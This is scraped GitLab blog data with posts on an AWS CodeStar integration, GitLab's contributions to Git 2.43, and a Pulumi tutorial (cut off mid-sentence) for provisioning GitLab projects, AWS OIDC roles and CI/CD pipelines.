GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Security Team\"}],\n        \"datePublished\": \"2024-01-11\",\n      }",{"title":7371,"description":7372,"authors":7377,"heroImage":3431,"date":7378,"body":7372,"category":674,"tags":7379},[2012],"2024-01-11",[674,1464],{"slug":7381,"featured":6,"template":678,"externalUrl":7382},"gitlab-critical-security-release-16-7-2-16-6-4-16-5-6","https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/","content:en-us:blog:gitlab-critical-security-release-16-7-2-16-6-4-16-5-6.yml","Gitlab Critical Security Release 16 7 2 16 6 4 16 5 6","en-us/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6.yml","en-us/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6",{"_path":7388,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7389,"content":7395,"config":7399,"_id":7401,"_type":16,"title":7402,"_source":17,"_file":7403,"_stem":7404,"_extension":20},"/en-us/blog/gitlab-is-now-available-as-an-aws-codestar-connections-provider",{"title":7390,"description":7391,"ogTitle":7390,"ogDescription":7391,"noIndex":6,"ogImage":7392,"ogUrl":7393,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7393,"schema":7394},"GitLab is now available as an AWS CodeStar Connections provider","AWS released native CodePipeline integration for GitLab projects and repos, helping to ensure a best-in-class experience when using GitLab and AWS together.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098884/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_397632156_3Ldy1urjMStQCl4qnOBvE0_1750098884409.jpg","https://about.gitlab.com/blog/gitlab-is-now-available-as-an-aws-codestar-connections-provider","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is now available as an AWS CodeStar Connections provider\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2024-01-11\",\n      }",{"title":7390,"description":7391,"authors":7396,"heroImage":7392,"date":7378,"body":7397,"category":962,"tags":7398},[1244],"The GitLab DevSecOps Platform now integrates natively with many AWS services through AWS CodeStar Connections and AWS CodePipeline. This long-awaited integration was recently completed by the AWS CodeSuite service team for GitLab.com SaaS, GitLab Self-Managed, and GitLab Dedicated. AWS CodeStar Connections is a utility layer, which means other AWS services can enable native GitLab integration with less work.\n\nOnce created, CodeStar Connections objects can be used directly to integrate with many AWS services such as:\n- AWS CodePipeline,\n- Amazon CodeWhisperer Customization Capability,\n- AWS Service Catalog\n- AWS Glue\n\nWhen a CodeStar Connection is used to configure a GitLab CodePipeline configuration it can further support:\n- AWS CodeBuild\n- Amazon SageMaker MLOps Projects\n- AWS CodeDeploy\n\nGitLab and AWS have been working at ever deeper levels of technical and business integration to ensure that our co-customers have a best-in-class experience when using GitLab and AWS together.\n\n![AWS CodeStar integration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098901/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098900704.png)\n\nCheck out the complete list of AWS Services that are now directly accessible in the [GitLab AWS Integration Index documentation](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_integration.html).\n\n![CodeStar - New Technology and Solutions for using GitLab and AWS Together ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098901/Blog/Content%20Images/Blog/Content%20Images/AWS_re_Invent_2023__New_Technology_and_Solutions_for_using_GitLab_and_AWS_Together__4__aHR0cHM6_1750098900705.png)\n\n## Resources\n\n- GitLab [AWS Integration Index documentation](https://docs.gitlab.com/ee/solutions/cloud/aws/gitlab_aws_integration.html) is a one-stop location for these new integrations as well as existing integrations\n- AWS documentation for [setting up CodeStar Connections with GitLab.com SaaS](https://docs.aws.amazon.com/codepipeline/latest/userguide/connections-gitlab-managed.html)\n- AWS documentation for [setting up CodeStar Connections with self-managed GitLab](https://docs.aws.amazon.com/codepipeline/latest/userguide/connections-gitlab-managed.html)\n - AWS documentation for [configuring AWS CodePipeline integration](https://docs.gitlab.com/ee/user/project/integrations/aws_codepipeline.html)\n- [AWS announcement for GitLab CodePipeline Integration for GitLab SaaS](https://aws.amazon.com/about-aws/whats-new/2023/08/aws-codepipeline-supports-gitlab/) and [AWS announcement for GitLab Self-Managed](https://aws.amazon.com/about-aws/whats-new/2023/12/codepipeline-gitlab-self-managed/)\n\n![codestar-amazonpartnerlogo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098901/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098900705.png)\n",[944,110,282,232],{"slug":7400,"featured":6,"template":678},"gitlab-is-now-available-as-an-aws-codestar-connections-provider","content:en-us:blog:gitlab-is-now-available-as-an-aws-codestar-connections-provider.yml","Gitlab Is Now Available As An Aws Codestar Connections Provider","en-us/blog/gitlab-is-now-available-as-an-aws-codestar-connections-provider.yml","en-us/blog/gitlab-is-now-available-as-an-aws-codestar-connections-provider",{"_path":7406,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7407,"content":7412,"config":7416,"_id":7418,"_type":16,"title":7419,"_source":17,"_file":7420,"_stem":7421,"_extension":20},"/en-us/blog/the-contributions-we-made-to-the-git-2-43-release",{"title":7408,"description":7409,"ogTitle":7408,"ogDescription":7409,"noIndex":6,"ogImage":3451,"ogUrl":7410,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7410,"schema":7411},"The contributions we made to the Git 2.43 release","Git 2.43 included some improvements from GitLab's Git team. Here are some highlights from the work the team has done on Git and why it matters.","https://about.gitlab.com/blog/the-contributions-we-made-to-the-git-2-43-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The contributions we made to the Git 2.43 release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Cai\"}],\n        \"datePublished\": \"2024-01-11\",\n      }",{"title":7408,"description":7409,"authors":7413,"heroImage":3451,"date":7378,"body":7414,"category":813,"tags":7415},[4903],"[Git 2.43](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.43.0.txt)\nwas officially released on November 20, 2023, and included some improvements from GitLab's Git team. Here are some highlights from the work our team has\ndone on Git and why it matters.\n\n## Segmenting objects across packfiles\n\nIn Git 2.43, [Christian Couder](https://about.gitlab.com/company/team/#chriscool)\nadded a `--filter` option to the `git repack` command. Supported filter (see the\n[filter-spec docs](https://git-scm.com/docs/git-rev-list#Documentation/git-rev-list.txt---filterltfilter-specgt)) can be added to the `git repack --filter` flag. This will cause the filtered out objects to be\npacked into a separate packfile.\n\nA `--filter-to` option was also added. Providing this option will cause Git to write the filtered packfile to the specified location on the filesystem.\n\n### Why it matters\n\nGitaly servers host Git repositories and incur storage costs. In many repositories however, not all the objects need to be accessed all the time. Allowing Git to\noffload some repository data onto a different packfile paves the way for storage optimizations whereby we can choose to segment the Git repository data and place\ncertain kinds of objects on cheaper storage such as slower disks or object storage.\n\n## Checking object existence\n\nIn Git, to check the existence of an object one would have to rely on Git returning an error if it couldn’t find an object. However, to date, there has not been a generic way in Git to check the existence of an object. There were certain edge cases that were not handled well by the underlying Git code. For example, if a reference exists as a symbolic reference, but its target branch does not exist.\n\n[Patrick Steinhardt](https://about.gitlab.com/company/team/#pks-gitlab) added the `--exists` option to `git show` as a generic way to check for object existence.\n\n### Why it matters\n\nThe Gitaly team has started work to upstream the [reftable backend](https://gitlab.com/groups/gitlab-org/-/epics/11652) into the Git project. This new flag enables consistent validation of object existence to fix a number of tests to work with the reftables backend.\n\n## Find missing commit objects \n\n`git rev-list`'s `--missing` option provides information about objects that are referenced but are missing from a repository. Up to this release however, this option only worked with blobs and trees. Missing commits would cause `git rev-list` to fail with a fatal error.\n\nIn Git 2.43, [Karthik Nayak](https://about.gitlab.com/company/team/#knayakgl)\nextended the `--missing` option to work with commit objects.\n\n### Why it matters\n\nGitaly's next-generation repository replication implementation relies on a [write\nahead log](https://gitlab.com/groups/gitlab-org/-/epics/8911) (WAL) that logs every write to a repository.\n\nThe upcoming WAL creates separate log entries per transaction – as such, some transactions contain reference updates. In these transactions, it is necessary to identify new git objects being added to the repository. The WAL implementation uses a quarantine directory to stage these new objects. \n\nWe can now use git-rev-list(1) along with the --missing flag, to identify all the objects that are newly added and required and also boundary commits that connect the quarantine directory to the main object directory.\n\n## Read gitattributes from HEAD in bare repos\n\nStarting in 2.43, [John Cai](https://about.gitlab.com/company/team/#jcaigitlab)\nmade a change that allows [Git attributes](https://git-scm.com/docs/gitattributes) to start to read attributes from the tree that HEAD points to by default, in bare repositories.\n\n### Why it matters\n\nTo reduce some tech debt around how git attributes are read in a repository, we added the ability to pass a tree object directly to Git through the [`--attr-source` flag](https://git-scm.com/docs/git#Documentation/git.txt---attr-sourcelttree-ishgt).\n\nPassing in `HEAD` to `--attr-source` would fail however, when `HEAD` pointed to and unborn branch, Gitaly would have needed to use a separate call to check if `HEAD` were unborn before passing it in.\n\nThis change not only causes Git to read attributes from `HEAD` by default, which means we don't need to pass in anything, but also silently ignores it if `HEAD` is unborn, which is the behavior we want in Gitaly. This way, we don't need to make any code changes in Gitaly for this to work.\n\nThis leads to simplification on the Gitaly side, as we seek to remove some [technical debt around gitattributes](https://gitlab.com/groups/gitlab-org/-/epics/9006)\nput in during a time when Git lacked support around reading gitattributes in bare repositories.\n\n## Bug fixes\n\n[Patrick Steinhardt](https://about.gitlab.com/company/team/#pks-gitlab) fixed a bug in `git rev-list –stdin`.  \n\nSteinhardt also addressed an existing issue in [commit-graphs](https://git-scm.com/docs/commit-graph) whereby commits parsed from the commit-graph weren’t always checked for existence. A `GIT_COMMIT_GRAPH_PARANOIA` environment variable can now be turned on to always check for object existence.",[267,815,1067],{"slug":7417,"featured":6,"template":678},"the-contributions-we-made-to-the-git-2-43-release","content:en-us:blog:the-contributions-we-made-to-the-git-2-43-release.yml","The Contributions We Made To The Git 2 43 Release","en-us/blog/the-contributions-we-made-to-the-git-2-43-release.yml","en-us/blog/the-contributions-we-made-to-the-git-2-43-release",{"_path":7423,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7424,"content":7430,"config":7436,"_id":7438,"_type":16,"title":7439,"_source":17,"_file":7440,"_stem":7441,"_extension":20},"/en-us/blog/managing-gitlab-resources-with-pulumi",{"title":7425,"description":7426,"ogTitle":7425,"ogDescription":7426,"noIndex":6,"ogImage":7427,"ogUrl":7428,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7428,"schema":7429},"Managing GitLab resources with Pulumi","Learn how Pulumi's infrastructure-as-code tool helps streamline the automation of GitLab CI/CD workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683430/Blog/Hero%20Images/AdobeStock_293854129__1_.jpg","https://about.gitlab.com/blog/managing-gitlab-resources-with-pulumi","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Managing GitLab resources with Pulumi\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Josh Kodroff, Pulumi\"}],\n        \"datePublished\": \"2024-01-10\",\n      }",{"title":7425,"description":7426,"authors":7431,"heroImage":7427,"date":7433,"body":7434,"category":962,"tags":7435},[7432],"Josh Kodroff, Pulumi","2024-01-10","In the ever-evolving landscape of DevOps, platform engineers are increasingly seeking efficient and flexible tools to manage their GitLab resources, particularly for orchestrating continuous integration/continuous delivery (CI/CD) pipelines. [Pulumi](https://pulumi.com?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) offers a unique approach to infrastructure as code (IaC) by allowing engineers to use familiar programming languages such as TypeScript, Python, Go, and others. This approach streamlines the automation of GitLab CI/CD workflows. Pulumi's declarative syntax, combined with its ability to treat infrastructure as software, facilitates version control, collaboration, and reproducibility, aligning seamlessly with the GitLab philosophy.\n\nLet's explore the power of using Pulumi and GitLab.\n\n## What is Pulumi?\n\nPulumi is an IaC tool that allows you to manage resources in more than 150 supported cloud or SaaS products (including AWS and GitLab, which we will be demonstrating in this post). You can express your infrastructure with Pulumi using popular general-purpose programming languages like TypeScript, Python, and Go.\n\nPulumi is declarative (just like other popular IaC tools you may be familiar with), which means that you only need to describe the desired end state of your resources and Pulumi will figure out the order of create, read, update, and delete (CRUD) operations to get from your current state to your desired state.\n\nIt might seem strange at first to use a general-purpose programming language to express your infrastructure's desired state if you're used to tools like CloudFormation or Terraform, but there are considerable advantages to Pulumi's approach, including the following:\n- **Familiar tooling.** You don't need any special tooling to use Pulumi. Code completion will work as expected in your favorite editor or IDE without any additional plugins. You can share Pulumi code using familiar packaging tools like npm, PyPI, etc.\n- **Familiar syntax.** Unlike with DSL-based IaC tools, you don't need to learn special ways of indexing an array element, or creating loops or conditionals - you can just use the normal syntax of a language you already know.\n\nThe Pulumi product has an open source component, which includes the Pulumi command line and its ecosystem of providers, which provide the integration between Pulumi and the cloud and SaaS providers it supports. Pulumi also offers a free (for individual use) and paid (for teams and organizations) SaaS service called Pulumi Cloud, which provides state file and secrets management, among many other useful features. It’s a widely-supported open-source IaC tool.\n\n## Initializing the project\n\nTo complete this example you'll need:\n\n1. [A Pulumi Cloud account](https://app.pulumi.com?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources). Pulumi Cloud is free for individual use forever and we'll never ask for your credit card. Pulumi Cloud will manage your Pulumi state file and handle any secrets encryption/decryption. Because it's free for individual use (no credit card required), we strongly recommend that you use Pulumi Cloud as your backend when learning how to use Pulumi.\n2. A GitLab account, group, and a GitLab token set to the `GITLAB_TOKEN` environment variable.\n3. An AWS account and credentials with permissions to deploy identity and access management (IAM) resources. For details on how to configure AWS credentials on your system for use with Pulumi, see [AWS Classic: Installation and Configuration](https://www.pulumi.com/registry/packages/aws/installation-configuration/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources).\n\nThis example will use two providers from the [Pulumi Registry](https://www.pulumi.com/registry/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources):\n\n1. The [GitLab Provider](https://www.pulumi.com/registry/packages/gitlab/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) will be used to manage resources like Projects, ProjectFiles (to initialize our project repository), ProjectHooks (for the integration with Pulumi Cloud), and ProjectVariables (to hold configuration for our CI/CD pipelines).\n2. The [AWS Classic Provider](https://www.pulumi.com/registry/packages/aws/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) will be used to manage AWS resources to create OpenID Connect (OIDC) connectivity between AWS and GitLab.\n\nYou can initialize your Pulumi project by changing into a new, empty directory, running the following command, and accepting all the default values for any subsequent prompts:\n\n```bash\npulumi new typescript\n```\n\nThis will bootstrap an empty Pulumi program. Now you can import the provider SDKs for the providers you'll need:\n\n```bash\nnpm i @pulumi/aws @pulumi/gitlab\n```\n\nYour `index.ts` file is the entry point into your Pulumi program (just as you would expect in any other Node.js program) and will be the file to which you will add your resources. Add the following imports to the top of `index.ts`:\n\n```typescript\nimport * as gitlab from \"@pulumi/gitlab\";\nimport * as aws from \"@pulumi/aws\";\n```\n\nNow you are ready to add some resources!\n\n## Adding your first resources\n\nFirst, let's define a variable that will hold the audience claim in our OIDC JWT token. Add the following code to `index.ts`:\n\n```typescript\nconst audience = \"gitlab.com\";\n```\n\nThe above code assume you're using the GitLab SaaS (\u003Chttps://gitlab.com>) If you are using a private GitLab install, your value should be the domain of your GitLab install, e.g. `gitlab.example.com`.\n\nThen, you'll use a [Pulumi function](https://www.pulumi.com/docs/concepts/resources/functions/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) to grab an existing GitLab group by name and create a new public GitLab project in your GitLab group:\n\n```typescript\nconst group = gitlab.getGroup({\n  fullPath: \"my-gitlab-group\", // Replace the value with the name of your GL group\n});\n\nconst project = new gitlab.Project(\"pulumi-gitlab-demo\", {\n  visibilityLevel: \"public\",\n  defaultBranch: \"main\",\n  namespaceId: group.then(g => parseInt(g.id)),\n  archiveOnDestroy: false // Be sure to set this to `true` for any non-demo repos you manage with Pulumi!\n});\n```\n\n## Creating OIDC resources\n\nTo allow GitLab CI/CD to request and be granted temporary AWS credentials, you'll need to create an OIDC provider in AWS that contains the thumbprint of GitLab's certificate, and then create an AWS role that GitLab is allowed to assume.\n\nYou'll scope the assume role policy so that the role can be only be assumed by the GitLab project you declared earlier. The role that GitLab CI/CD assumed will have full administrator access so that Pulumi can create and manage any resource within AWS. (Note that it is possible to grant less than `FullAdministrator` access to Pulumi, but `FullAdministrator` is often practically required, e.g. where IAM resources, like roles, need to be created. Role creation requires `FullAdministrator`. This consideration also applies to IaC tools like Terraform.)\n\nAdd the following code to `index.ts`:\n\n```typescript\nconst GITLAB_OIDC_PROVIDER_THUMBPRINT = \"b3dd7606d2b5a8b4a13771dbecc9ee1cecafa38a\";\n\nconst gitlabOidcProvider = new aws.iam.OpenIdConnectProvider(\"gitlab-oidc-provider\", {\n  clientIdLists: [`https://${audience}`],\n  url: `https://${audience}`,\n  thumbprintLists: [GITLAB_OIDC_PROVIDER_THUMBPRINT],\n}, {\n  deleteBeforeReplace: true, // URLs are unique identifiers and cannot be auto-named, so we have to delete before replace.\n});\n\nconst gitlabAdminRole = new aws.iam.Role(\"gitlabAdminRole\", {\n  assumeRolePolicy: {\n    Version: \"2012-10-17\",\n    Statement: [\n      {\n        Effect: \"Allow\",\n        Principal: {\n          Federated: gitlabOidcProvider.arn,\n        },\n        Action: \"sts:AssumeRoleWithWebIdentity\",\n        Condition: {\n          StringLike: {\n            // Note: Square brackets around the key are what allow us to use a\n            // templated string. See:\n            // https://stackoverflow.com/questions/59791960/how-to-use-template-literal-as-key-inside-object-literal\n            [`${audience}:sub`]: pulumi.interpolate`project_path:${project.pathWithNamespace}:ref_type:branch:ref:*`\n          },\n        },\n      },\n    ],\n  },\n});\n\nnew aws.iam.RolePolicyAttachment(\"gitlabAdminRolePolicy\", {\n  policyArn: \"arn:aws:iam::aws:policy/AdministratorAccess\",\n  role: gitlabAdminRole.name,\n});\n```\n\nA few things to be aware of regarding the thumbprint:\n\n1. If you are self-hosting GitLab, you'll need to obtain the thumbprint from your private GitLab installation.\n2. If you're using GitLab SaaS, it's possible GitLab's OIDC certificate may have been rotated by the time you are reading this.\n\nIn either case, you can obtain the correct/latest thumbprint value by following AWS' instructions contained in [Obtaining the thumbprint for an OpenID Connect Identity Provider](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc_verify-thumbprint.html) in the AWS docs.\n\nYou'll also need to add the role's ARN as a project variable so that the CI/CD process can make a request to assume the role:\n\n```typescript\nnew gitlab.ProjectVariable(\"role-arn\", {\n  project: project.id,\n  key: \"ROLE_ARN\",\n  value: gitlabAdminRole.arn,\n});\n```\n\n## Project hook (optional)\n\nPulumi features an integration with GitLab via a webhook that will post the output of the `pulumi preview` directly to a merge request as a comment. For the webhook to work, you must have a Pulumi organization set up with GitLab as its SSO source. If you don't have a Pulumi organization and would like to try the integration, you can [sign up for a free trial](https://app.pulumi.com/signup?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) organization. The trial lasts 14 days, will give you access to all of Pulumi's paid features, and does not require a credit card. For full details on the integration, see [Pulumi CI/CD & GitLab integration](https://www.pulumi.com/docs/using-pulumi/continuous-delivery/gitlab-app/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources).\n\nTo set up the webhook, add the following to your `index.ts` file:\n\n```typescript\nnew gitlab.ProjectHook(\"project-hook\", {\n  project: project.id,\n  url: \"https://api.pulumi.com/workflow/gitlab\",\n  mergeRequestsEvents: true,\n  enableSslVerification: true,\n  token: process.env[\"PULUMI_ACCESS_TOKEN\"]!,\n  pushEvents: false,\n});\n```\n\nNote that the above resource assumes that your Pulumi access token is stored as an environment variable. You may want to instead store the token in your stack configuration file. To do this, run the following command:\n\n```bash\npulumi config set --secret pulumiAccessToken ${PULUMI_ACCESS_TOKEN}\n```\n\nThis will store the encrypted value in your Pulumi stack configuration file (`Pulumi.dev.yaml`). Because the value is encrypted, you can safely commit your stack configuration file to git. You can access its value in your Pulumi program like this:\n\n```typescript\nconst config = new pulumi.Config();\nconst pulumiAccessToken = config.requireSecret(\"pulumiAccessToken\");\n```\n\nFor more details on secrets handling in Pulumi, see [Secrets](https://www.pulumi.com/docs/concepts/secrets/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources) in the Pulumi docs.\n\n## Creating a repository and adding repository files\n\nYou'll need to create a git repository (a GitLab project) and add some files to it that will control the CI/CD process. First, create some files that you'll include in your GitLab repo:\n\n```bash\nmkdir -p repository-files/scripts\ntouch repository-files/.gitlab-ci.yml repository-files/scripts/{aws-auth.sh,pulumi-preview.sh,pulumi-up.sh}\nchmod +x repository-files/scripts/{aws-auth.sh,pulumi-preview.sh,pulumi-up.sh}\n```\n\nNext, you'll need a GitLab CI/CD YAML file to describe the pipeline: which container image it should be run in and what the steps of the pipeline are. Place the following code into `repository-files/.gitlab-ci.yml`:\n\n```yaml\ndefault:\n  image:\n    name: \"pulumi/pulumi:3.91.1\"\n    entrypoint: [\"\"]\n\nstages:\n  - infrastructure-update\n\npulumi-up:\n  stage: infrastructure-update\n  id_tokens:\n    GITLAB_OIDC_TOKEN:\n      aud: https://gitlab.com\n  before_script:\n    - chmod +x ./scripts/*.sh\n    - ./scripts/aws-auth.sh\n  script:\n    - ./scripts/pulumi-up.sh\n  only:\n    - main # i.e., the name of the default branch\n\npulumi-preview:\n  stage: infrastructure-update\n  id_tokens:\n    GITLAB_OIDC_TOKEN:\n      aud: https://gitlab.com\n  before_script:\n    - chmod +x ./scripts/*.sh\n    - ./scripts/aws-auth.sh\n  script:\n    - ./scripts/pulumi-preview.sh\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'merge_request_event'\n```\n\nThe CI/CD process is fairly simple but illustrates the basic functionality needed for a production-ready pipeline (or these steps may be all your organization needs):\n\n1. Run the `pulumi preview` command when a merge request is opened or updated. This will help the reviewer gain important context. Because IaC is necessarily stateful (the state file is what enables Pulumi to be a declarative tool), when reviewing changes reviewers _must have both the code changes and the infrastructure changes to fully understand the impact of changes to the codebase_. This process constitutes continuous integration.\n2. Run the `pulumi up` command when code is merged to the default branch (called `main` by default). This process constitutes continuous delivery.\n\nNote that this example uses the [`pulumi/pulumi`](https://hub.docker.com/r/pulumi/pulumi) \"kitchen sink\" image that contains all the runtimes for all the languages Pulumi supports, along with some ancillary tools like the AWS CLI (which you'll need in order to use OIDC authentication). While the `pulumi/pulumi` image is convenient, it's also quite large (1.41 GB at the time of writing), which makes it relatively slow to initialize. If you're creating production pipelines using Pulumi, you may want to consider creating your own custom (slimmer) image that has exactly the tools you need installed, perhaps starting with one of Pulumi's language-specific images, e.g. [`pulumi/pulumi-nodejs`](https://hub.docker.com/r/pulumi/pulumi-nodejs).\n\nThen you'll need to write the script that authenticates GitLab with AWS via OIDC. Place the following code in `repository-files/scripts/aws-auth.sh`:\n\n```bash\n#!/bin/bash\n\nmkdir -p ~/.aws\necho \"${GITLAB_OIDC_TOKEN}\" > /tmp/web_identity_token\necho -e \"[profile oidc]\\nrole_arn=${ROLE_ARN}\\nweb_identity_token_file=/tmp/web_identity_token\" > ~/.aws/config\n\necho \"length of GITLAB_OIDC_TOKEN=${#GITLAB_OIDC_TOKEN}\"\necho \"ROLE_ARN=${ROLE_ARN}\"\n\nexport AWS_PROFILE=\"oidc\"\naws sts get-caller-identity\n```\n\nFor continuous integration, you'll need a script that will execute the `pulumi preview` command when a merge request is opened. Place the following code in `repository-files/scripts/pulumi-preview.sh`:\n\n```bash\n#!/bin/bash\nset -e -x\n\nexport PATH=$PATH:$HOME/.pulumi/bin\n\nyarn install\npulumi login\npulumi org set-default $PULUMI_ORG\npulumi stack select dev\nexport AWS_PROFILE=\"oidc\"\npulumi preview\n```\n\nFor continuous delivery, you'll need a similar script that will execute the `pulumi up` command when the Merge Request is merged to the default branch. Place the following code in `repository-files/scripts/pulumi-up.sh`:\n\n```bash\n#!/bin/bash\nset -e -x\n\n# Add the pulumi CLI to the PATH\nexport PATH=$PATH:$HOME/.pulumi/bin\n\nyarn install\npulumi login\npulumi org set-default $PULUMI_ORG\npulumi stack select dev\nexport AWS_PROFILE=\"oidc\"\npulumi up -y\n```\n\nFinally, you'll need to add these files to your GitLab Project. Add the following code block to your `index.ts` file:\n\n```typescript\n[\n  \"scripts/aws-auth.sh\",\n  \"scripts/pulumi-preview.sh\",\n  \"scripts/pulumi-up.sh\",\n  \".gitlab-ci.yml\",\n].forEach(file => {\n  const content = fs.readFileSync(`repository-files/${file}`, \"utf-8\");\n\n  new gitlab.RepositoryFile(file, {\n    project: project.id,\n    filePath: file,\n    branch: \"main\",\n    content: content,\n    commitMessage: `Add ${file},`,\n    encoding: \"text\",\n  });\n});\n```\n\nNote that we're able to take advantage of general-purpose programming language features: We are able to create an array and use `forEach()` to iterate through its members, and we are able to use the `fs.readFileSync()` method from the Node.js runtime to read the contents of our file. This is powerful stuff!\n\n## Project variables and stack outputs\n\nYou'll need a few more resources to complete the code. Your CI/CD process will need a Pulumi access token in order to authenticate against the Pulumi Cloud backend which holds your Pulumi state file and handles encryption and decryption of secrets. You will also need to supply name of your Pulumi organization. (If you are using Pulumi Cloud as an individual, this is your Pulumi username.) Add the following to `index.ts`:\n\n```typescript\nnew gitlab.ProjectVariable(\"pulumi-access-token\", {\n  project: project.id,\n  key: \"PULUMI_ACCESS_TOKEN\",\n  value: process.env[\"PULUMI_ACCESS_TOKEN\"]!,\n  masked: true,\n});\n\nnew gitlab.ProjectVariable(\"pulumi-org\", {\n  project: project.id,\n  key: \"PULUMI_ORG\",\n  value: pulumi.getOrganization(),\n});\n```\n\nFinally, you'll need to add a stack output so that we can run the `git clone` command to test out our pipeline. Stack outputs allow you to access values within your Pulumi program from the command line or from other Pulumi programs. For more information, see [Understanding Stack Outputs](https://www.pulumi.com/learn/building-with-pulumi/stack-outputs/?utm_source=GitLab&utm_medium=Referral&utm_campaign=Managing-GitLab-Resources). Add the following to `index.ts`:\n\n```typescript\nexport const gitCloneCommand = pulumi.interpolate`git clone ${project.sshUrlToRepo}`;\n```\n\n## Deploying your infrastructure and testing the pipeline\n\nTo deploy your resources, run the following command:\n\n```bash\npulumi up\n```\n\nPulumi will output a list of the resources it intends to create. Select `yes` to continue.\n\nOnce the command has completed, you can run the following command to get the git clone command for your GitLab repo:\n\n```bash\npulumi stack output gitCloneCommand\n```\n\nIn a new, empty directory, run the `git clone` command from your Pulumi stack output, e.g.:\n\n```bash\ngit clone git@gitlab.com:jkodroff/pulumi-gitlab-demo-9de2a3b.git\n```\n\nChange into the directory and create a new branch:\n\n```bash\ngit checkout -b my-first-branch\n```\n\nNow you are ready to create some sample infrastructure in our repository. You can use the `aws-typescript` to quickly generate a simple Pulumi program with AWS resources:\n\n```bash\npulumi new aws-typescript -y --force\n```\n\nThe template includes a very simple Pulumi program that you can use to prove out the pipeline:\n\n```bash\n$ cat index.ts\nimport * as pulumi from \"@pulumi/pulumi\";\nimport * as aws from \"@pulumi/aws\";\nimport * as awsx from \"@pulumi/awsx\";\n\n// Create an AWS resource (S3 Bucket)\nconst bucket = new aws.s3.Bucket(\"my-bucket\");\n\n// Export the name of the bucket\nexport const bucketName = bucket.id;\n```\n\nCommit your changes and push your branch:\n\n```bash\ngit add -A\ngit commit -m \"My first commit.\"\ngit push\n```\n\nIn the GitLab UI, create a merge request for your branch:\n\n![Screenshot demonstrating opening a GitLab Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/create-merge-request.jpg)\n\nYour merge request pipeline should start running:\n\n![Screenshot demonstrating opening a GitLab Merge Request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/merge-request-running.jpg)\n\nOnce the pipeline completes, you should see the output of the `pulumi preview` command in the pipeline's logs:\n\n![Screenshot of a GitLab pipeline log showing the output of the \"pulumi preview\" command](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/pulumi-preview.jpg)\n\nIf you installed the optional webhook, you should see the results of `pulumi preview` posted back to the merge request as a comment:\n\n![Screenshot of the GitLab Merge Request screen showing the output of the \"pulumi preview\" command as a comment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/merge-request-comment.jpg)\n\nOnce the pipeline has completed running, your merge request is ready to merge:\n\n![Screenshot of the GitLab Merge Request screen showing a successfully completed pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/merge.jpg)\n\nMerging the merge request will trigger the main branch pipeline. (Note that in this screen you will see a failed initial run of CI/CD on the main branch toward the bottom of the screen. This is normal and is caused by the initial upload of `.gitlab-ci/yml` to the main branch without a Pulumi program being present.)\n\n![Screenshot of the GitLab pipelines screen showing a running pipeline along with a passed pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/piplines.jpg)\n\nIf you click into the main branch pipeline's execution, you can see your bucket has been created:\n\n![Screenshot of a GitLab pipeline log showing the output of the \"pulumi up\" command](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683438/Blog/Content%20Images/pulumi-up.jpg)\nTo delete the bucket, run the following command in your local clone of the repository:\n\n```bash\npulumi destroy\n```\n\nAlternatively, you could create a merge 